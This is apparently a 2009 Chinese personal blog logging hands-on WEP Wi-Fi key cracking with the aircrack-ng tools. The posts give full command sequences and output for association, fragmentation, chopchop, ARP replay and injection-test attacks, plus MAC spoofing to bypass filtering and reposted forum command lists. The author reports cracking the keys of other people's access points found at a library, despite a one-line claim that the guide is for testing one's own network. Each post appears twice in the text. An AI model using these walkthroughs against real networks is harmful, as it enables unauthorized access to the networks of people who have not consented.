平時在執行完第一號攻擊後，就不太管它了。祗要專注在接下的情況，該採第二、三、四、還是五號攻擊模式。但這一次實驗中，在進行 (1-5-2)模式時，第二號攻不下，即data沒動。改 (1-4-2) 模式，竟然也攻不下。兩次的xor檔都拿到了，也都轉成arp了，竟inject不成。補上第九號測試攻擊也不克。
改變戰術，重新再虛假認證一次，直接以 (1-4-2)的arp檔進行二號攻擊，成了。改以 (1-5-2)的arp檔攻擊，也成了。
故不是五號或四號的xor沒用，而是在進行中，第一次的虛假認證消失了，得再補上一劑，就ok。
2009年11月6日 星期五
4與5號的xor也有不同
這回在查看有data，無client之情況下，先用 (1-5-2)模式攻擊，順利取得xor並轉成arp檔進行資料灌注。但data並無明顯增長。
別開一console，以第九號攻擊，情況並未改善。
停止第二號資料灌注，改以 (1-4-2)模式，順利取得xor，也轉成另一個arp檔，這回以第二號資料灌注，即成功地使data增大了。順利取得金鑰。
別開一console，以第九號攻擊，情況並未改善。
停止第二號資料灌注，改以 (1-4-2)模式，順利取得xor，也轉成另一個arp檔，這回以第二號資料灌注，即成功地使data增大了。順利取得金鑰。
2009年11月5日 星期四
(1-4-2) 攻擊模式
一直沒機會用到第四號攻擊，沒想到，這一次實現了。
一個帶有client的ap，用(1-5-2)採不到xor，用(1-3)得不到cap檔，用(1-2)祗讀取而不發送；最後祗了以第四號攻擊一試。竟一試達陣。
一，
1.airodump-ng --bssid [ap' mac] -c 1 --ivs -w home mon0
a.以存取ivs模式進入頻道一之監控。
二，
1.aireplay-ng -1 0 -a $AP -h $MAC mon0
a.一號攻擊，以自己mac取得ap聯繫。結果：Association successful :-) (AID: 1)
2.aireplay-ng -5 -b $AP -h $MAC mon0
a.以第五號模式攻擊。結果：Still nothing, trying another packet...
3.aireplay-ng -3 -b $AP -h $MAC -x 1024 mon0
a.改以第三號模式攻擊。結果：(got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)
4.aireplay-ng -4 -b $AP -h $MAC mon0
a.以第四號模式攻擊。
b.Use this packet ? y
c.Saving chosen packet in replay_src-1106-140117.cap
Offset 87 ( 3% done) | xor = EA | pt = BD | 582 frames written in 9908ms
Offset 86 ( 5% done) | xor = A6 | pt = EF | 256 frames written in 4341ms
Offset 85 ( 7% done) | xor = 5C | pt = B4 | 275 frames written in 4677ms
...
Saving plaintext in replay_dec-1106-140237.cap
Saving keystream in replay_dec-1106-140237.xor
Completed in 76s (0.68 bytes/s)
5.packetforge-ng -0 -a $AP -h $MAC -k 255.255.255.255 -l 255.255.255.255 -y replay_dec-1106-140237.xor -w home-arp
a.把從第四號攻擊得到的xor檔，轉成arp檔。
6.aireplay-ng -2 -r home-arp -x 1024 mon0
a.以arp檔進行第二號攻擊。
b.Use this packet ? y
data終於開始增加了。 good!
三，
1.aircrack-ng -x -f 2 -s home-02.ivs
a.解由airodump所存取的ivs檔。
Starting PTW attack with 43436 ivs.
KEY FOUND! [ xx:xx:xx:xx:xx ]
Decrypted correctly: 100%
一個帶有client的ap，用(1-5-2)採不到xor，用(1-3)得不到cap檔，用(1-2)祗讀取而不發送；最後祗了以第四號攻擊一試。竟一試達陣。
一，
1.airodump-ng --bssid [ap' mac] -c 1 --ivs -w home mon0
a.以存取ivs模式進入頻道一之監控。
二，
1.aireplay-ng -1 0 -a $AP -h $MAC mon0
a.一號攻擊，以自己mac取得ap聯繫。結果：Association successful :-) (AID: 1)
2.aireplay-ng -5 -b $AP -h $MAC mon0
a.以第五號模式攻擊。結果：Still nothing, trying another packet...
3.aireplay-ng -3 -b $AP -h $MAC -x 1024 mon0
a.改以第三號模式攻擊。結果：(got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)
4.aireplay-ng -4 -b $AP -h $MAC mon0
a.以第四號模式攻擊。
b.Use this packet ? y
c.Saving chosen packet in replay_src-1106-140117.cap
Offset 87 ( 3% done) | xor = EA | pt = BD | 582 frames written in 9908ms
Offset 86 ( 5% done) | xor = A6 | pt = EF | 256 frames written in 4341ms
Offset 85 ( 7% done) | xor = 5C | pt = B4 | 275 frames written in 4677ms
...
Saving plaintext in replay_dec-1106-140237.cap
Saving keystream in replay_dec-1106-140237.xor
Completed in 76s (0.68 bytes/s)
5.packetforge-ng -0 -a $AP -h $MAC -k 255.255.255.255 -l 255.255.255.255 -y replay_dec-1106-140237.xor -w home-arp
a.把從第四號攻擊得到的xor檔，轉成arp檔。
6.aireplay-ng -2 -r home-arp -x 1024 mon0
a.以arp檔進行第二號攻擊。
b.Use this packet ? y
data終於開始增加了。 good!
三，
1.aircrack-ng -x -f 2 -s home-02.ivs
a.解由airodump所存取的ivs檔。
Starting PTW attack with 43436 ivs.
KEY FOUND! [ xx:xx:xx:xx:xx ]
Decrypted correctly: 100%
第九號攻擊
完成了這個一實驗，wep破解就快修成正果了。來到圖書館，有一堆無線網給你測試，並非每個情況都一樣，蠻好玩的。
這回是碰到了：以(1-5-2)模式攻擊，
一號攻擊，順利取得認證聯繫；
五號攻擊，順利得到xor檔；再以packetforge轉成arp檔；
二號攻擊，data一種是毫無所動，一種是增在一千多就自動停止。
原本以為在能取得xor檔之後，幾乎就等於一定拿得到金鑰。誰知竟然會敗在第二號的交互攻擊。(interactive frame selection)
改以字典破解法攻擊無效，顯然此金鑰設得並不簡單。
突然腦中有一個想法，data不漲是因為所發去的資料沒能注入(inject) ap端，故測測看情況如何。
另開一terminal，執行
aireplay-ng -9 -a [ap's mac] -h [own mac] mon0
結果，...奇蹟出現了。在測試的同時，data開始向上漲了。但測試跑完後，data也停了。漲一次約多進帳了近2000個ivs。接著就不斷以此法去執行「第九號攻擊」。
嚴格來說，-9的用途祗是測試是否能注入資料到ap用，不算是一種攻擊模式；但現在配上第二號攻擊，卻有如此神效，實出乎意料之外。注意：僅第九號測試，data是不會漲的，須配合第二號，兩個terminal同時執行才可。
最後得出的金鑰，果然很長：是六個英文小寫字母加上七個數字，共十三碼，難怪字典破不了。
這回是碰到了：以(1-5-2)模式攻擊，
一號攻擊，順利取得認證聯繫；
五號攻擊，順利得到xor檔；再以packetforge轉成arp檔；
二號攻擊，data一種是毫無所動，一種是增在一千多就自動停止。
原本以為在能取得xor檔之後，幾乎就等於一定拿得到金鑰。誰知竟然會敗在第二號的交互攻擊。(interactive frame selection)
改以字典破解法攻擊無效，顯然此金鑰設得並不簡單。
突然腦中有一個想法，data不漲是因為所發去的資料沒能注入(inject) ap端，故測測看情況如何。
另開一terminal，執行
aireplay-ng -9 -a [ap's mac] -h [own mac] mon0
結果，...奇蹟出現了。在測試的同時，data開始向上漲了。但測試跑完後，data也停了。漲一次約多進帳了近2000個ivs。接著就不斷以此法去執行「第九號攻擊」。
嚴格來說，-9的用途祗是測試是否能注入資料到ap用，不算是一種攻擊模式；但現在配上第二號攻擊，卻有如此神效，實出乎意料之外。注意：僅第九號測試，data是不會漲的，須配合第二號，兩個terminal同時執行才可。
最後得出的金鑰，果然很長：是六個英文小寫字母加上七個數字，共十三碼，難怪字典破不了。
字典破解
最近破了一個ap，但是是用了一個很取巧的方法。即字典破法，又稱暴力破解。根本不管它的編碼機制，而直接一個一個地去猜，就像在破wpa之樣。
這個情形是這樣的，先以(1-3)(1-2)模式獲取約上千個ivs，將ivs以windows下的aircrack-ng gui版去以字典破解，還好，這個密碼是五個d，字母全一樣，字串又很短，字典裡剛好有，結果一下就找到了。
依此法設法去破其它ap，又重編更大的字典，卻無功而返。編字典的關鍵在於它將字元分四大塊：
1.數字。0..9
2.大寫字母。A-Z
3.小寫字母。a-z
4.其它符號。!@#$
其次是看你要編碼的長度，1-8不等。
若祗要編數字，8碼，則佔 1G
若要數字加大寫字母，8碼，則佔 26,947G
若要數字加大字母加小字母，8碼，則佔 2,063,397G
哪來這麼大硬碟呀
若數字加大小寫字母,5碼,將會佔用 6G
但若增加一碼為6碼,則飊昇到 430G
這也就是為什麼一般密碼設定之建議最少要6碼
做為一個安全門檻
所以在設密碼時，最好是有數字，大字，小字，加符號，長一點，如此最保險。
而字母或數字以愈後面愈難猜中.如不採aA0,而用zZ9
這個情形是這樣的，先以(1-3)(1-2)模式獲取約上千個ivs，將ivs以windows下的aircrack-ng gui版去以字典破解，還好，這個密碼是五個d，字母全一樣，字串又很短，字典裡剛好有，結果一下就找到了。
依此法設法去破其它ap，又重編更大的字典，卻無功而返。編字典的關鍵在於它將字元分四大塊：
1.數字。0..9
2.大寫字母。A-Z
3.小寫字母。a-z
4.其它符號。!@#$
其次是看你要編碼的長度，1-8不等。
若祗要編數字，8碼，則佔 1G
若要數字加大寫字母，8碼，則佔 26,947G
若要數字加大字母加小字母，8碼，則佔 2,063,397G
哪來這麼大硬碟呀
若數字加大小寫字母,5碼,將會佔用 6G
但若增加一碼為6碼,則飊昇到 430G
這也就是為什麼一般密碼設定之建議最少要6碼
做為一個安全門檻
所以在設密碼時，最好是有數字，大字，小字，加符號，長一點，如此最保險。
而字母或數字以愈後面愈難猜中.如不採aA0,而用zZ9
2009年11月3日 星期二
第二號攻擊之時機
昨天發現了有一個帶有client的ap。見獵心喜，就立即把握時機，展開(1-5-2)模式攻擊，但竟卡在第五號攻擊：
Sending fragmented packet
No answer, repeating...
Still nothing, trying another packet...
得不到RELAYED packet!! 重覆好幾次都無效，查看ap's client也還在線，就不知為何？？？
決然改採第三號攻擊，卻一直讀取而不沒發送....data漲也不漲。
最後祗好換第二號攻擊，不像第五號去分析packet，也不像第三號去讀取data，而是直接注入大量資料給ap，結果，data終於動了，但很緩慢。約等了二個小時，data值已上二萬有餘，再以aircrack-ng破解由airodump所蒐集到的ivs檔，一舉成功。
Sending fragmented packet
No answer, repeating...
Still nothing, trying another packet...
得不到RELAYED packet!! 重覆好幾次都無效，查看ap's client也還在線，就不知為何？？？
決然改採第三號攻擊，卻一直讀取而不沒發送....data漲也不漲。
最後祗好換第二號攻擊，不像第五號去分析packet，也不像第三號去讀取data，而是直接注入大量資料給ap，結果，data終於動了，但很緩慢。約等了二個小時，data值已上二萬有餘，再以aircrack-ng破解由airodump所蒐集到的ivs檔，一舉成功。
解碼時的問題
這次實驗有一點奇怪，一早到了圖書館，就先進行查看周遭網路情況。
一，開始在第一個terminal
1.airmon-ng start waln0
a.開啟監控界面。
2.airodump-ng --encry wep mon0
a.查看各頻道以wep編碼的ap
b.發現有一個ap的data值有在緩慢地增加到4，表示有連網行為。
c.決定鎖定該ap。
3.airodump-ng --bssid [ap's mac] -c 3 --ivs -w cas mon0
a.以mon0監控界面在第三頻道蒐集該ap的ivs包，寫入cas-01.ivs中。
二，開啟第二terminal
1.export AP=[ap's mac]
2.ifconfig -a
a.查看自己的mac
3.export MAC=[own mac]
4.aireplay-ng -1 0 -a $AP -h $MAC mon0
a.進行第一號攻擊，試圖與ap交手。(association)
b.若成功，顯示：Association successful :-) (AID: 1)
c.這時查看terminal 1,會發現自己已成為ap's client。
5.iwconfig mon0 channel 3
a.確保mon0是在第三頻道。
6.aireplay-ng -5 -b $AP -h $MAC mon0
a.採第五號攻擊。
b.原本在airodump時，並沒有看到有ap's client在線，所以在此進行第五號攻擊時，並不抱持太大希望；沒想到，僅用了三次packet，就Got RELAYED packet!!
c.再轉回terminal 1看，竟然出現了一個client。本尊現身了!
7.packetforge-ng -0 -a $AP -h $MAC -k 255.255.255.255 -l 255.255.255.255 -y fragment-1104-085701.xor -w myarp
a.將所得的xor檔轉成arp檔。
8.aireplay-ng -2 -r myarp -x 1024 mon0
a.進行第二號攻擊。
b.讀取arp的資料，以每秒1024bit的速度從監控界面mon0送出。
9.Use this packet ? y
Saving chosen packet in replay_src-1104-085916.cap
a.這時，terminal 1中的data開始穩定地向上增長。
三，開啟第三個terminal
1.aircrack-ng -n 64 -b [ap's mac] cas-01.ivs
a.開始對所蒐集到的ivs以密碼長度64 bits格式進行破解。
b.這時已抓了Starting PTW attack with 44256 ivs，想說馬上就可輕鬆破解。誰知道...
c.Tested 422829 keys (got 237482 IVs)到了23萬多個ivs都還破不了。這可奇了!
2.aircrack-ng -s -b [ap's mac] cas-01.ivs
a.決定停掉，重新再破解一次。這次不限定在64 bits長度的格式了，並加上-s參數，當得出金鑰時，可顯示ascii code。
b.結果，一試就成。
3.airmon-ng stop mon0
a.最後，得到金鑰後別太高興，記得再把監控界面停掉。
一，開始在第一個terminal
1.airmon-ng start waln0
a.開啟監控界面。
2.airodump-ng --encry wep mon0
a.查看各頻道以wep編碼的ap
b.發現有一個ap的data值有在緩慢地增加到4，表示有連網行為。
c.決定鎖定該ap。
3.airodump-ng --bssid [ap's mac] -c 3 --ivs -w cas mon0
a.以mon0監控界面在第三頻道蒐集該ap的ivs包，寫入cas-01.ivs中。
二，開啟第二terminal
1.export AP=[ap's mac]
2.ifconfig -a
a.查看自己的mac
3.export MAC=[own mac]
4.aireplay-ng -1 0 -a $AP -h $MAC mon0
a.進行第一號攻擊，試圖與ap交手。(association)
b.若成功，顯示：Association successful :-) (AID: 1)
c.這時查看terminal 1,會發現自己已成為ap's client。
5.iwconfig mon0 channel 3
a.確保mon0是在第三頻道。
6.aireplay-ng -5 -b $AP -h $MAC mon0
a.採第五號攻擊。
b.原本在airodump時，並沒有看到有ap's client在線，所以在此進行第五號攻擊時，並不抱持太大希望；沒想到，僅用了三次packet，就Got RELAYED packet!!
c.再轉回terminal 1看，竟然出現了一個client。本尊現身了!
7.packetforge-ng -0 -a $AP -h $MAC -k 255.255.255.255 -l 255.255.255.255 -y fragment-1104-085701.xor -w myarp
a.將所得的xor檔轉成arp檔。
8.aireplay-ng -2 -r myarp -x 1024 mon0
a.進行第二號攻擊。
b.讀取arp的資料，以每秒1024bit的速度從監控界面mon0送出。
9.Use this packet ? y
Saving chosen packet in replay_src-1104-085916.cap
a.這時，terminal 1中的data開始穩定地向上增長。
三，開啟第三個terminal
1.aircrack-ng -n 64 -b [ap's mac] cas-01.ivs
a.開始對所蒐集到的ivs以密碼長度64 bits格式進行破解。
b.這時已抓了Starting PTW attack with 44256 ivs，想說馬上就可輕鬆破解。誰知道...
c.Tested 422829 keys (got 237482 IVs)到了23萬多個ivs都還破不了。這可奇了!
2.aircrack-ng -s -b [ap's mac] cas-01.ivs
a.決定停掉，重新再破解一次。這次不限定在64 bits長度的格式了，並加上-s參數，當得出金鑰時，可顯示ascii code。
b.結果，一試就成。
3.airmon-ng stop mon0
a.最後，得到金鑰後別太高興，記得再把監控界面停掉。
2009年11月1日 星期日
wep無客戶端(1-3號攻擊模式)破解
在沒有client的情況，wep竟也宣告束手就擒。
一，開第一個terminal
1.minidwep
a.找一個想破的wep，查看頻道號，mac
2.iwconfig mon0 channel [CHno]
a.將監控界面mon0設為該AP的頻道
3.airodump-ng -w [filename] -c [CHno] --bssid [AP's mac] mon0
a.傾倒監控界面mon0在頻道CHno上某一AP的資料寫入[filename]-01.cap中
二，開第二個terminal
1.export MAC=[自己網卡的mac]
2.export AP=[AP's mac]
3.aireplay-ng -1 0 -e [essid] -a $AP -h $MAC mon0
a.進行第一號攻擊，0延遲，[essid]為AP名號
b.若成，則顯示：Association successful :-) (AID: 1)
4.aireplay-ng -3 -b $AP -h $MAC -x 1024 mon0
a.採取第三號攻擊。限制為傳送資料每回為1024。
b.這時會將所得資料寫入replay_arp-1102-094924.cap檔。1102表示11月2日，094924則為9點49分24秒。
c.開始不斷地注入資料。
三，開第三個terminal
1.這時觀看第一個terminal，data值會快速遞增，當達約三萬時，可嘗試進行破解。
2.aircrack-ng -x -f 2 [filename]-01.cap
a.[filename]-01是在第一個terminal中，下airodump-ng指令時所指定的檔名。
b.對[filename]-01.cap進行破解。
四，等待
1.此時三個terminal同時在跑，第一個寫資料到[filename]-01.cap中；第二個進行第三號攻擊；第三個則對不斷增長的[filename]-01.cap進行解碼。
2.這次實驗，是到了資料值為五萬時得到了金鑰。顯示如下：
Tested 943472 keys (got 51579 IVs)
KEY FOUND! [ 6D:61:72:67:61:72:65:74:63:68:65..... ]
3.AP使用了十三個英文字 (可能是他的英文名字吧)，才會破得這麼快。若串接數字 (如加上生日)，可就等久了。所以自己設密碼得小心些才是。
一，開第一個terminal
1.minidwep
a.找一個想破的wep，查看頻道號，mac
2.iwconfig mon0 channel [CHno]
a.將監控界面mon0設為該AP的頻道
3.airodump-ng -w [filename] -c [CHno] --bssid [AP's mac] mon0
a.傾倒監控界面mon0在頻道CHno上某一AP的資料寫入[filename]-01.cap中
二，開第二個terminal
1.export MAC=[自己網卡的mac]
2.export AP=[AP's mac]
3.aireplay-ng -1 0 -e [essid] -a $AP -h $MAC mon0
a.進行第一號攻擊，0延遲，[essid]為AP名號
b.若成，則顯示：Association successful :-) (AID: 1)
4.aireplay-ng -3 -b $AP -h $MAC -x 1024 mon0
a.採取第三號攻擊。限制為傳送資料每回為1024。
b.這時會將所得資料寫入replay_arp-1102-094924.cap檔。1102表示11月2日，094924則為9點49分24秒。
c.開始不斷地注入資料。
三，開第三個terminal
1.這時觀看第一個terminal，data值會快速遞增，當達約三萬時，可嘗試進行破解。
2.aircrack-ng -x -f 2 [filename]-01.cap
a.[filename]-01是在第一個terminal中，下airodump-ng指令時所指定的檔名。
b.對[filename]-01.cap進行破解。
四，等待
1.此時三個terminal同時在跑，第一個寫資料到[filename]-01.cap中；第二個進行第三號攻擊；第三個則對不斷增長的[filename]-01.cap進行解碼。
2.這次實驗，是到了資料值為五萬時得到了金鑰。顯示如下：
Tested 943472 keys (got 51579 IVs)
KEY FOUND! [ 6D:61:72:67:61:72:65:74:63:68:65..... ]
3.AP使用了十三個英文字 (可能是他的英文名字吧)，才會破得這麼快。若串接數字 (如加上生日)，可就等久了。所以自己設密碼得小心些才是。
2009年10月31日 星期六
改變mac
有些AP會鎖mac，這時在進行攻擊時，會導致失敗。故得更變自己底mac為client mac。
改變mac的方式，一般是用 macchanger這個指令。
1.先卸載網卡。有以下幾種方式
a.ifconfig wlan0 down
b.ifdown wlan0
2.改mac
a.macchanger -m [ClientMac] wlan0
b.ifconfig -a wlan0 hd [ClientMac]
3.裝載網卡
a.ifconfig wlan0 up
b.ifup wlan0
------------------------------------
若系統指明 Can't change MAC: interface up or not permission: Device or resource busy
則試試：
1.ifconfig wlan0 down hw ether [ClientMac]
2.ifconfig wlan0 up
改變mac的方式，一般是用 macchanger這個指令。
1.先卸載網卡。有以下幾種方式
a.ifconfig wlan0 down
b.ifdown wlan0
2.改mac
a.macchanger -m [ClientMac] wlan0
b.ifconfig -a wlan0 hd [ClientMac]
3.裝載網卡
a.ifconfig wlan0 up
b.ifup wlan0
------------------------------------
若系統指明 Can't change MAC: interface up or not permission: Device or resource busy
則試試：
1.ifconfig wlan0 down hw ether [ClientMac]
2.ifconfig wlan0 up
2009年10月30日 星期五
wep實戰教程-有client的破解法 (1-5-2攻擊模式)
以下請以root身分進行.
一,開第一個terminal (瞭解目前網路環境)
1.執行ifconfig -a
a.可看到自己的網卡為wan0
2.用minidwep查看目前網路
a.執行了minidwep就自己會進入監控模式,故不必再執行airmon-ng了.這時的監控序號為mon0.
(若再執行一次minidwep,則監控序號會加一,為mon1)
b.scan完之後,可以看到自己的mac,再找其它的ap,最好是找有client的,編碼是wep,wpa則不適用
二,開第二個terminal (監控特定AccessPoint流量)
1.執行airodump-ng --ivs --essid [APmac] --channel [CHno] -w [filename] mon0
a.開始抓取第0監控序號(mon0),第[CHno]頻道,服務id為[APmac]的ivs包,寫入檔案[filename]
b.AP所屬的頻道號碼(CHno)可在第一個terminal找到,filename自訂即可
三,開第三個terminal (進行攻擊-attack)
1.export MAC=[自己的網卡] (請去第一個terminal複製,來此貼上)
2.export AP=[APmac] (請去第一個terminal複製,來此貼上)
-----------------------
3.aireplay-ng -1 0 -e [APname] -a $AP -h $MAC mon0
a.採取第一號攻擊.
b.若成功,會出現"association successful :-)"
-----------------------
4.aireplay-ng -5 -b $AP -h $MAC mon0
a.採取第五號攻擊
b.畫面出現:use this package? y
c.等待一會,若成功,會產生一個fragment-xxxx-xxxxxx.xor檔.
d.若不成,則會繼續讀取資料,再問use this package? 多試幾次,直到成功為止. 若太久都不成功,則可能client已下線了.此法就宣告失敗.
-----------------------
5.packetforge-ng -0 -a $AP -h $MAC -k 255.255.255.255 -l 255.255.255.255 -y fragment-xxxx-xxxxxx.xor -w [ARPfilename]
a.利用xor檔產生arp檔.arp檔名[ARPfilename]請自訂.
b.若成功,顯示:wrote packet to: [ARPfilename]
-----------------------
6.aireplay-ng -2 -r [ARPfilename] -x 1024 mon0
a.採取第二號攻擊
b.use this packet? y
c.這時可查看第二個terminal,Data數會迅速增加. 當data達20000以上時,可嘗試進入下面的破解程序.
四,開第四個terminal (進行破解-crack)
1.執行aircrack-ng -n 64 -b [APmac] *.ivs
a.[APmac]請從第一個terminal複製
b.找出金鑰了,會顯示: key found [xx:xx:xx:xx:xx]
c.若沒找到,等第二個terminal中的data值大一些,再行破解看看.
d.實際用法,是將xx:xx:xx:xx:xx去掉冒號,改成xxxxxxxxxx即可
五,此文僅提供對自己的網路安全進行檢測之用,要懂得如何破解自己的密碼,才算是真地知道如何防範自己的密碼被破.
一,開第一個terminal (瞭解目前網路環境)
1.執行ifconfig -a
a.可看到自己的網卡為wan0
2.用minidwep查看目前網路
a.執行了minidwep就自己會進入監控模式,故不必再執行airmon-ng了.這時的監控序號為mon0.
(若再執行一次minidwep,則監控序號會加一,為mon1)
b.scan完之後,可以看到自己的mac,再找其它的ap,最好是找有client的,編碼是wep,wpa則不適用
二,開第二個terminal (監控特定AccessPoint流量)
1.執行airodump-ng --ivs --essid [APmac] --channel [CHno] -w [filename] mon0
a.開始抓取第0監控序號(mon0),第[CHno]頻道,服務id為[APmac]的ivs包,寫入檔案[filename]
b.AP所屬的頻道號碼(CHno)可在第一個terminal找到,filename自訂即可
三,開第三個terminal (進行攻擊-attack)
1.export MAC=[自己的網卡] (請去第一個terminal複製,來此貼上)
2.export AP=[APmac] (請去第一個terminal複製,來此貼上)
-----------------------
3.aireplay-ng -1 0 -e [APname] -a $AP -h $MAC mon0
a.採取第一號攻擊.
b.若成功,會出現"association successful :-)"
-----------------------
4.aireplay-ng -5 -b $AP -h $MAC mon0
a.採取第五號攻擊
b.畫面出現:use this package? y
c.等待一會,若成功,會產生一個fragment-xxxx-xxxxxx.xor檔.
d.若不成,則會繼續讀取資料,再問use this package? 多試幾次,直到成功為止. 若太久都不成功,則可能client已下線了.此法就宣告失敗.
-----------------------
5.packetforge-ng -0 -a $AP -h $MAC -k 255.255.255.255 -l 255.255.255.255 -y fragment-xxxx-xxxxxx.xor -w [ARPfilename]
a.利用xor檔產生arp檔.arp檔名[ARPfilename]請自訂.
b.若成功,顯示:wrote packet to: [ARPfilename]
-----------------------
6.aireplay-ng -2 -r [ARPfilename] -x 1024 mon0
a.採取第二號攻擊
b.use this packet? y
c.這時可查看第二個terminal,Data數會迅速增加. 當data達20000以上時,可嘗試進入下面的破解程序.
四,開第四個terminal (進行破解-crack)
1.執行aircrack-ng -n 64 -b [APmac] *.ivs
a.[APmac]請從第一個terminal複製
b.找出金鑰了,會顯示: key found [xx:xx:xx:xx:xx]
c.若沒找到,等第二個terminal中的data值大一些,再行破解看看.
d.實際用法,是將xx:xx:xx:xx:xx去掉冒號,改成xxxxxxxxxx即可
五,此文僅提供對自己的網路安全進行檢測之用,要懂得如何破解自己的密碼,才算是真地知道如何防範自己的密碼被破.
2009年10月28日 星期三
[WEP破解] 手动破解命令[轉貼]
出自：http://www.anywlan.com/bbs/thread-32757-1-1.html
[WEP破解] 手动破解命令！
ifconfig -a
ifconfig -a wifi0 up
airmon-ng start wifi0 6
airodump-ng --ivs -w 007 -c 6 ath1
aireplay-ng -1 0 -e TP-LINK -a 001122334455 -h 223377889900 ath1
----------- -2 Crack Mode-----------
aireplay-ng -2 -p 0841 -c ffffffffffff -b 001122334455 -h 223377889900 ath1
----------- -3 Crack Mode-----------
aireplay-ng -3 -b 001122334455 -h 223377889900 ath1
----------- -4 Crack Mode-----------
aireplay-ng -4 -b 001122334455 -h 223377889900 ath1
packetforge-ng -0 -a 001122334455 -h 223377889900 -k 255.255.255.255 -l 255.255.255.255 -y .xor -w MyArp
aireplay-ng -2 -r MyArp -x 256 ath1
----------- -5 Crack Mode-----------
aireplay-ng -5 -b 001122334455 -h 223377889900 ath1
packetforge-ng -0 -a 001122334455 -h 223377889900 -k 255.255.255.255 -l 255.255.255.255 -y .xor -w MyArp
aireplay-ng -2 -r MyArp -x 256 ath1
-----------Crack Key-----------
aircrack-ng -n 64 -b 001122334455 007-01.ivs
[WEP破解] 手动破解命令！
ifconfig -a
ifconfig -a wifi0 up
airmon-ng start wifi0 6
airodump-ng --ivs -w 007 -c 6 ath1
aireplay-ng -1 0 -e TP-LINK -a 001122334455 -h 223377889900 ath1
----------- -2 Crack Mode-----------
aireplay-ng -2 -p 0841 -c ffffffffffff -b 001122334455 -h 223377889900 ath1
----------- -3 Crack Mode-----------
aireplay-ng -3 -b 001122334455 -h 223377889900 ath1
----------- -4 Crack Mode-----------
aireplay-ng -4 -b 001122334455 -h 223377889900 ath1
packetforge-ng -0 -a 001122334455 -h 223377889900 -k 255.255.255.255 -l 255.255.255.255 -y .xor -w MyArp
aireplay-ng -2 -r MyArp -x 256 ath1
----------- -5 Crack Mode-----------
aireplay-ng -5 -b 001122334455 -h 223377889900 ath1
packetforge-ng -0 -a 001122334455 -h 223377889900 -k 255.255.255.255 -l 255.255.255.255 -y .xor -w MyArp
aireplay-ng -2 -r MyArp -x 256 ath1
-----------Crack Key-----------
aircrack-ng -n 64 -b 001122334455 007-01.ivs
2009年10月24日 星期六
spoonwep2的bug及解决方案（兼论Atheros芯片的问题）[轉貼]
出自：http://www.anywlan.com/bbs/viewthread.php?tid=16061&extra=page%3D1%26amp%3Bfilter%3Ddigest
点击Launch按钮破解开始后，有时会出现进程显示框中一直在向上翻ASSOCIATING，速度很快，另外一个监测窗口也有DATA在跑，但始终未显示捕获到IVS，这样的状况会一直持续下去，即使捕获1个小时也不会出现一个IVS！既然没有ivs，那么破解自然就不会成功！
但此时点击Abort停止破解过程，不必做任何其他操作，紧接着再次点击Launch按钮，奇迹出现了，ivs来了！！进程窗口不再狂翻ASSOCIATING，开始按照正常步骤进行注入，破解很快成功。
无论采取哪种注入方式都会在特定情况下出现以上现象，用先退出马上再开始的解决方案几乎是100%奏效！
什么情况下会出现这个现象呢？这里有必要谈谈Atheros芯片的问题。
使用Atheros芯片的朋友都知道，启动网卡使用的是ifconfig wifi0 up这个命令，监听用的是airmon-ng start wifi0这个命令，但实际处于监听状态的并不是wifi0，而是ath1，如果再运行一遍airmon-ng start wifi0，监听端口又会变成ath2，以此类推，但最多只到ath3，再重复此命令就出错了。
假如当前的监听端口是ath1，你在spoonwep2里面选择的也是ath1，那么大多数情况下不会出现associating狂翻却无法捕获IVS的情况；但当你选择了wifi0、ath0等非当前监听端口时，破解时associating狂翻却无法捕获ivs的现象十有八九会出现。
当然，运行spoonwep2前其实是不需要进行网卡的启动和监听的操作命令的，spoonwep2会自动完成这些操作，我做了以下的试验：用光盘启动 BT3后，不做任何其他操作，直接打开shell并输入spoonwep，启动spoonwep2，DRVIER处选择Atheros，而Net card里面有三个选项：wifi0、ath0和eth0，无论你选择wifi0还是ath0，破解时几乎都会出现associating狂翻的情况，点击退出再开始即可正常开始注入破解！
另外，关闭spoonwep2会自动将当前的监听端口也关闭，比如你用ath1破解完成后，关闭spoonwep2，输入airmon-ng查看，发现 ath1端口没有了，只剩下wifi0和ath0。因此此时再次打开spoonwep2进行破解的时候，出现associating狂翻的几率很大！
说了这么多，总结起来其实很简单：对于Atheros芯片来讲，无论你选择wifi0、ath0、ath1还是ath1端口进行破解，假如出现associating狂翻却无法捕获到ivs的现象时，先按Abort停止马上再按Launch开始，即可正常捕获IVS，直到破解成功！
============================================
其实spoonwep2还有一个问题，这个估计是大多人都已知的问题，那就是在搜索信号的时候在shell窗口会出现错误提示，但这个提示并不影响破解的过程。
点击Launch按钮破解开始后，有时会出现进程显示框中一直在向上翻ASSOCIATING，速度很快，另外一个监测窗口也有DATA在跑，但始终未显示捕获到IVS，这样的状况会一直持续下去，即使捕获1个小时也不会出现一个IVS！既然没有ivs，那么破解自然就不会成功！
但此时点击Abort停止破解过程，不必做任何其他操作，紧接着再次点击Launch按钮，奇迹出现了，ivs来了！！进程窗口不再狂翻ASSOCIATING，开始按照正常步骤进行注入，破解很快成功。
无论采取哪种注入方式都会在特定情况下出现以上现象，用先退出马上再开始的解决方案几乎是100%奏效！
什么情况下会出现这个现象呢？这里有必要谈谈Atheros芯片的问题。
使用Atheros芯片的朋友都知道，启动网卡使用的是ifconfig wifi0 up这个命令，监听用的是airmon-ng start wifi0这个命令，但实际处于监听状态的并不是wifi0，而是ath1，如果再运行一遍airmon-ng start wifi0，监听端口又会变成ath2，以此类推，但最多只到ath3，再重复此命令就出错了。
假如当前的监听端口是ath1，你在spoonwep2里面选择的也是ath1，那么大多数情况下不会出现associating狂翻却无法捕获IVS的情况；但当你选择了wifi0、ath0等非当前监听端口时，破解时associating狂翻却无法捕获ivs的现象十有八九会出现。
当然，运行spoonwep2前其实是不需要进行网卡的启动和监听的操作命令的，spoonwep2会自动完成这些操作，我做了以下的试验：用光盘启动 BT3后，不做任何其他操作，直接打开shell并输入spoonwep，启动spoonwep2，DRVIER处选择Atheros，而Net card里面有三个选项：wifi0、ath0和eth0，无论你选择wifi0还是ath0，破解时几乎都会出现associating狂翻的情况，点击退出再开始即可正常开始注入破解！
另外，关闭spoonwep2会自动将当前的监听端口也关闭，比如你用ath1破解完成后，关闭spoonwep2，输入airmon-ng查看，发现 ath1端口没有了，只剩下wifi0和ath0。因此此时再次打开spoonwep2进行破解的时候，出现associating狂翻的几率很大！
